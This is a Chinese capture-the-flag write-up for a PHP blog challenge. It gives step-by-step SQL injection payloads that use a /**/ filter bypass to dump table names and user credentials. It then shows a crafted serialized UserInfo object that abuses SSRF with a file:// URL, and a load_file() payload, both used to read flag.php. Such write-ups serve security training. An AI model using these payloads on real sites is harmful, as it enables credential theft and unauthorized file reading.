打开连接,发现登录要注册,那我们先注册个账号
发现可以点进去查看
习惯性查看网页源代码
点击发现打开了我们注册博客的地址,猜测可能存在SSRF,但现在还不知道如何使用,我们再来审查其他地方
发现个注入点,尝试sql注入
首先查列数
payload:?no=1 order by 5
发现报错
将列数改为4,发现正确
payload:no=-1 union/**/select 1,2,3,4
发现回显是第二个字段的位置,注意这里出现的序列化,可能后面会用到
爆表名
payload:no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
爆字段名
payload:no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'
爆数据
payload:no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users
嗯?发现没有flag?但此时发现了网页输出的内容中将我们博客的地址序列化了,根据之前的发现,我们猜测应该存在ssrf,可以利用此漏洞读取flag,扫描网站发现存在robots.txt
下载看到源码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
它将我们的blog内容输出,我们尝试使用此漏洞读取flag,由于之前爆出了绝对路径我们猜测flag在绝对路径之下
<?php
class UserInfo
{
public $name = "asd";
public $age = 18;
public $blog = "file:///var/www/html/flag.php";
}
$a=new UserInfo();
echo(serialize($a));
?>
构造序列化
payload:no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
查看网页源代码
点击查看就看到flag啦
此处还有个非预期解,因为这个题目并没有过滤load_file,我们可以利用直接读取flag
payload:?no=0/**/union/**/select 1,load_file('/var/www/html/flag.php'),3,4